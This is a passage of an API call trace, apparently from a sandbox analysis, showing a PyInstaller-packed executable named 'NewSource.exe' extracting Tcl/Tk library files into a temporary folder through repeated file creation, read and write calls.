dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.825] GetFileType (hFile=0x10c) returned 0x1 [0044.825] htonl (hostlong=0xe47e0000) returned 0x7ee4 [0044.825] WriteFile (in: hFile=0x10c, lpBuffer=0x563fc8*, nNumberOfBytesToWrite=0x7000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x563fc8*, lpNumberOfBytesWritten=0x4fcd00*=0x7000, lpOverlapped=0x0) returned 1 [0044.826] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.826] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xee4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xee4, lpOverlapped=0x0) returned 1 [0044.826] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.826] CloseHandle (hObject=0x10c) returned 1 [0044.826] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563fc8 | out: hHeap=0x530000) returned 1 [0044.827] htonl (hostlong=0x20000000) returned 0x20 [0044.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.827] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.827] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.827] GetFileType (hFile=0x10c) returned 0x1 [0044.827] htonl (hostlong=0x38cf5f00) returned 0x5fcf38 [0044.827] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x647f38, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.827] htonl (hostlong=0xcc160000) returned 0x16cc [0044.827] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16cc) returned 0x561090 [0044.828] htonl (hostlong=0xcc160000) returned 0x16cc [0044.828] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0044.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x562768 [0044.828] ReadFile (in: hFile=0x10c, lpBuffer=0x562768, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x562768*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.828] htonl (hostlong=0xa1460000) returned 0x46a1 [0044.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x46a1) returned 0x563770 [0044.828] htonl (hostlong=0xcc160000) returned 0x16cc [0044.828] htonl (hostlong=0xa1460000) returned 0x46a1 [0044.828] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x567e20 [0044.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x567e20 | out: hHeap=0x530000) returned 1 [0044.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.829] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562768 | out: hHeap=0x530000) returned 1 [0044.829] CloseHandle (hObject=0x10c) returned 1 [0044.829] GetLastError () returned 0x0 [0044.829] SetLastError (dwErrCode=0x0) [0044.829] GetLastError () returned 0x0 [0044.829] SetLastError (dwErrCode=0x0) [0044.829] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.829] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.829] GetFileType (hFile=0x10c) returned 0x1 [0044.829] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.829] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.829] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.829] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.829] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.829] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.829] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.829] CloseHandle (hObject=0x10c) returned 1 [0044.830] GetLastError () returned 0x0 [0044.830] SetLastError (dwErrCode=0x0) [0044.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tk.tcl") returned 55 [0044.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tk.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\tk.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.830] GetLastError () returned 0x2 [0044.830] SetLastError (dwErrCode=0x2) [0044.830] GetLastError () returned 0x2 [0044.830] SetLastError (dwErrCode=0x2) [0044.830] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tk.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tk.tcl", lpFilePart=0x0) returned 0x36 [0044.830] GetLastError () returned 0x2 [0044.830] SetLastError (dwErrCode=0x2) [0044.830] GetLastError () returned 0x2 [0044.830] SetLastError (dwErrCode=0x2) [0044.830] GetLastError () returned 0x2 [0044.830] SetLastError (dwErrCode=0x2) [0044.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tk.tcl") returned 55 [0044.830] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tk.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\tk.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.837] GetFileType (hFile=0x10c) returned 0x1 [0044.837] htonl (hostlong=0xa1460000) returned 0x46a1 [0044.840] WriteFile (in: hFile=0x10c, lpBuffer=0x563770*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x563770*, lpNumberOfBytesWritten=0x4fcd00*=0x4000, lpOverlapped=0x0) returned 1 [0044.841] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.841] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x6a1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x6a1, lpOverlapped=0x0) returned 1 [0044.842] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.842] CloseHandle (hObject=0x10c) returned 1 [0044.842] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563770 | out: hHeap=0x530000) returned 1 [0044.842] htonl (hostlong=0x20000000) returned 0x20 [0044.842] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.842] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.843] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.843] GetFileType (hFile=0x10c) returned 0x1 [0044.843] htonl (hostlong=0x4e65f00) returned 0x5fe604 [0044.843] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x649604, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.843] htonl (hostlong=0x32360000) returned 0x3632 [0044.843] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3632) returned 0x561090 [0044.843] htonl (hostlong=0x32360000) returned 0x3632 [0044.843] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fcd58*=0x3000, lpOverlapped=0x0) returned 1 [0044.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x5646d0 [0044.844] ReadFile (in: hFile=0x10c, lpBuffer=0x5646d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x5646d0*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.844] htonl (hostlong=0x22d30000) returned 0xd322 [0044.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd322) returned 0x5656d8 [0044.844] htonl (hostlong=0x32360000) returned 0x3632 [0044.844] htonl (hostlong=0x22d30000) returned 0xd322 [0044.844] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x572a08 [0044.845] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x572a08 | out: hHeap=0x530000) returned 1 [0044.845] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.845] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5646d0 | out: hHeap=0x530000) returned 1 [0044.845] CloseHandle (hObject=0x10c) returned 1 [0044.845] GetLastError () returned 0x0 [0044.845] SetLastError (dwErrCode=0x0) [0044.845] GetLastError () returned 0x0 [0044.845] SetLastError (dwErrCode=0x0) [0044.845] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.845] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.845] GetFileType (hFile=0x10c) returned 0x1 [0044.846] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.846] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.846] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.846] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.846] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.846] CloseHandle (hObject=0x10c) returned 1 [0044.846] GetLastError () returned 0x0 [0044.846] SetLastError (dwErrCode=0x0) [0044.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tkfbox.tcl") returned 59 [0044.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tkfbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\tkfbox.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.846] GetLastError () returned 0x2 [0044.846] SetLastError (dwErrCode=0x2) [0044.846] GetLastError () returned 0x2 [0044.846] SetLastError (dwErrCode=0x2) [0044.846] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tkfbox.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tkfbox.tcl", lpFilePart=0x0) returned 0x3a [0044.846] GetLastError () returned 0x2 [0044.846] SetLastError (dwErrCode=0x2) [0044.846] GetLastError () returned 0x2 [0044.846] SetLastError (dwErrCode=0x2) [0044.846] GetLastError () returned 0x2 [0044.846] SetLastError (dwErrCode=0x2) [0044.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tkfbox.tcl") returned 59 [0044.846] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\tkfbox.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\tkfbox.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.847] GetFileType (hFile=0x10c) returned 0x1 [0044.847] htonl (hostlong=0x22d30000) returned 0xd322 [0044.847] WriteFile (in: hFile=0x10c, lpBuffer=0x5656d8*, nNumberOfBytesToWrite=0xd000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x5656d8*, lpNumberOfBytesWritten=0x4fcd00*=0xd000, lpOverlapped=0x0) returned 1 [0044.848] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.848] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x322, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x322, lpOverlapped=0x0) returned 1 [0044.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.849] CloseHandle (hObject=0x10c) returned 1 [0044.849] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5656d8 | out: hHeap=0x530000) returned 1 [0044.849] htonl (hostlong=0x20000000) returned 0x20 [0044.849] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0044.850] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0044.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0044.850] GetFileType (hFile=0x10c) returned 0x1 [0044.850] htonl (hostlong=0x361c6000) returned 0x601c36 [0044.850] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x64cc36, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0044.850] htonl (hostlong=0x9f030000) returned 0x39f [0044.850] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x39f) returned 0x550600 [0044.850] htonl (hostlong=0x9f030000) returned 0x39f [0044.850] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0044.851] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0044.851] htonl (hostlong=0xe0d0000) returned 0xd0e [0044.851] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd0e) returned 0x55e278 [0044.851] htonl (hostlong=0x9f030000) returned 0x39f [0044.851] htonl (hostlong=0xe0d0000) returned 0xd0e [0044.851] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0044.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0044.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0044.851] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0044.851] CloseHandle (hObject=0x10c) returned 1 [0044.851] GetLastError () returned 0x0 [0044.851] SetLastError (dwErrCode=0x0) [0044.851] GetLastError () returned 0x0 [0044.851] SetLastError (dwErrCode=0x0) [0044.851] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk") returned 48 [0044.851] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0044.851] GetFileType (hFile=0x10c) returned 0x1 [0044.851] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0044.851] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0044.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0044.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0044.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.851] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.851] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0044.852] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0044.852] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0044.852] CloseHandle (hObject=0x10c) returned 1 [0044.852] GetLastError () returned 0x0 [0044.852] SetLastError (dwErrCode=0x0) [0044.852] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk") returned 52 [0044.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.852] GetLastError () returned 0x2 [0044.852] SetLastError (dwErrCode=0x2) [0044.852] GetLastError () returned 0x2 [0044.852] SetLastError (dwErrCode=0x2) [0044.852] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk", lpFilePart=0x0) returned 0x33 [0044.852] GetLastError () returned 0x2 [0044.852] SetLastError (dwErrCode=0x2) [0044.852] GetLastError () returned 0x2 [0044.852] SetLastError (dwErrCode=0x2) [0044.852] GetLastError () returned 0x2 [0044.852] SetLastError (dwErrCode=0x2) [0044.852] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk"), lpSecurityAttributes=0x0) returned 1 [0044.852] GetLastError () returned 0x2 [0044.852] SetLastError (dwErrCode=0x2) [0044.852] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\altTheme.tcl") returned 65 [0044.852] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\altTheme.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tk\\ttk\\alttheme.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0044.863] GetLastError () returned 0x2 [0044.863] SetLastError (dwErrCode=0x2) [0044.863] GetLastError () returned 0x2 [0044.863] SetLastError (dwErrCode=0x2) [0044.863] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\altTheme.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\altTheme.tcl", lpFilePart=0x0) returned 0x40 [0044.863] GetLastError () returned 0x2 [0044.863] SetLastError (dwErrCode=0x2) [0044.863] GetLastError () returned 0x2 [0044.863] SetLastError (dwErrCode=0x2) [0044.863] GetLastError () returned 0x2 [0044.863] SetLastError (dwErrCode=0x2) [0044.863] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\altTheme.tcl") returned 65 [0044.863] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0044.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tk\\ttk\\altTheme.tcl" (normalized: 